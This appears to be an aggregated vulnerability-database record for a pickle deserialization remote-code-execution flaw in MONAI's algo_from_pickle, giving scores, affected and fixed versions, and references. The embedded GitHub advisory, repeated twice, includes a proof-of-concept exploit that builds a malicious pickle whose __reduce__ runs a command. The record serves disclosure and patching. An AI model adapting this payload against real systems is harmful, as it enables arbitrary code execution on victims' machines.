{"id":"CVE-2026-100846","aliases":["EUVD-2026-87842","GHSA-89gg-p5r5-q6r4","GHSA-cvqf-4876-w239","PYSEC-2026-4021"],"status":"published","title":"MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","severity":{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00361,"percentile":0.30328,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-502"],"published":"2026-04-07T20:17:21Z","modified":"2026-10-28T02:30:40Z","fixes":[{"ecosystem":"PyPI","package":"monai","fixed_in":["1.6.0","1.5.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.6.0"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2","1.5.2rc1"]},{"source":"osv","ecosystem":"PyPI","package":"monai","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.5.2"}]}],"versions":["0.0.1","0.1.0","0.2.0","0.3.0","0.4.0","0.5.0","0.5.1","0.5.2","0.5.3","0.6.0","0.7.0","0.8.0","0.8.1","0.9.0","0.9.1","1.0.0","1.0.1","1.1.0","1.2.0","1.3.0","1.3.1","1.3.2","1.3.2rc1","1.3.3rc1","1.4.0","1.4.0rc1","1.4.0rc10","1.4.0rc11","1.4.0rc12","1.4.0rc2","1.4.0rc3","1.4.0rc4","1.4.0rc5","1.4.0rc6","1.4.0rc7","1.4.0rc8","1.4.0rc9","1.4.1rc1","1.5.0","1.5.0rc1","1.5.1","1.5.2rc1"]}],"products":[{"vendor":"project-monai","product":"monai"}],"references":[{"url":"https://github.com/Project-MONAI/MONAI/security/advisories/GHSA-89gg-p5r5-q6r4","tags":["vendor-advisory","exploit","Exploit","Vendor Advisory","advisory","web","evidence"]},{"url":"https://www.vulncheck.com/advisories/monai-before-1.5.2-remote-code-execution-via-pickle-deserialization","tags":["third-party-advisory","Third Party Advisory","advisory"]},{"url":"https://github.com/Project-MONAI/MONAI/issues/8874#issuecomment-4752023161","tags":["web"]},{"url":"https://github.com/Project-MONAI/MONAI/commit/9078a72f3992e49bd4560db510be9ec4ccf972cc","tags":["web"]},{"url":"https://github.com/Project-MONAI/MONAI/releases/tag/1.6.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-89gg-p5r5-q6r4"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-100846","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cvqf-4876-w239"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/100xxx/CVE-2026-100846.json","tags":["advisory"]},{"url":"https://github.com/Project-MONAI/MONAI","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-100846","title":"MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T01:28:41.003Z","modified":"2026-10-08T15:22:02.692Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high","assessor":"cna"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:20:06.562031Z"}],"euvd":[{"id":"EUVD-2026-87842","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T01:28:41Z","modified":"2026-10-08T15:22:02Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"updated_at":"2026-11-02T17:27:32.18003Z"}],"ghsa":[{"id":"GHSA-89gg-p5r5-q6r4","title":"MONAI: Unsafe functions lead to pickle deserialization rce","description":"### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, (['calc.exe'],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\u003cimg width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" /\u003e\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -\u003e Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method","status":"published","published":"2026-04-07T20:17:21Z","modified":"2026-07-31T22:01:46Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:40:55.903445Z"},{"id":"GHSA-cvqf-4876-w239","title":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the...","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T03:31:05Z","modified":"2026-09-27T03:31:13Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","level":"high"},{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:12:30.689958Z"}],"nvd":[{"id":"CVE-2026-100846","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T02:17:23.283Z","modified":"2026-10-08T16:17:00.04Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T14:12:52.081323Z"}],"osv":[{"id":"CVE-2026-100846","title":"MONAI before 1.5.2 Remote Code Execution via Pickle Deserialization","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T01:28:41.003Z","modified":"2026-10-28T02:30:40.7333501Z","cvss":[{"version":"4.0","score":8.8,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:44:53.83521Z"},{"id":"GHSA-89gg-p5r5-q6r4","title":"MONAI: Unsafe functions lead to pickle deserialization rce","description":"### Summary\nThe `algo_from_pickle` function in `monai/auto3dseg/utils.py` causes `pickle.loads(data_bytes)` to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.\n\n### Details\npoc\n```\nimport pickle\nimport subprocess\nclass MaliciousAlgo:\n    def __reduce__(self):\n        return (subprocess.call, (['calc.exe'],))\nmalicious_algo_bytes = pickle.dumps(MaliciousAlgo())\n\nattack_data = {\n    \"algo_bytes\": malicious_algo_bytes,  \n     \n}\nattack_pickle_file = \"attack_algo.pkl\"\nwith open(attack_pickle_file, \"wb\") as f:\n    f.write(pickle.dumps(attack_data))\n\n```\nGenerate the malicious file \"attack_algo.pkl\" through POC.\n\n```\nfrom monai.auto3dseg.utils import algo_from_pickle\n\n\nattack_pickle_file = \"attack_algo.pkl\"\nresult = algo_from_pickle(attack_pickle_file)\n```\nUltimately, it will trigger pickle.load through a file to identify the command execution.\n\n\u003cimg width=\"909\" height=\"534\" alt=\"image\" src=\"https://github.com/user-attachments/assets/071adbb7-3e40-4651-be48-abd2ce32470f\" /\u003e\n\nCauses of the vulnerability:\n```\ndef algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -\u003e Any:\n\n    with open(pkl_filename, \"rb\") as f_pi:\n            data_bytes = f_pi.read()\n        data = pickle.loads(data_bytes)\n\n```\n\n\n\n### Impact\nArbitrary code execution\n\nRepair suggestions\nVerify the data source and content before deserializing, or use a safe deserialization method","status":"published","published":"2026-04-07T20:17:21Z","modified":"2026-10-01T09:26:04.073836298Z","cvss":[{"version":"3.1","score":7.6,"vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-502"],"updated_at":"2026-11-02T15:46:42.077781Z"},{"id":"PYSEC-2026-4021","description":"MONAI before 1.5.2 contains a deserialization of untrusted data vulnerability in the algo_from_pickle function in monai/auto3dseg/utils.py. The function reads a .pkl file and passes its contents to pickle.loads without validating the data source or content. If an application invokes algo_from_pickle on an attacker-supplied pickle file, an object defining __reduce__ is executed during deserialization, resulting in arbitrary code execution in the context of the application.","status":"published","published":"2026-09-27T02:17:23.283Z","modified":"2026-10-01T09:15:05.348272565Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}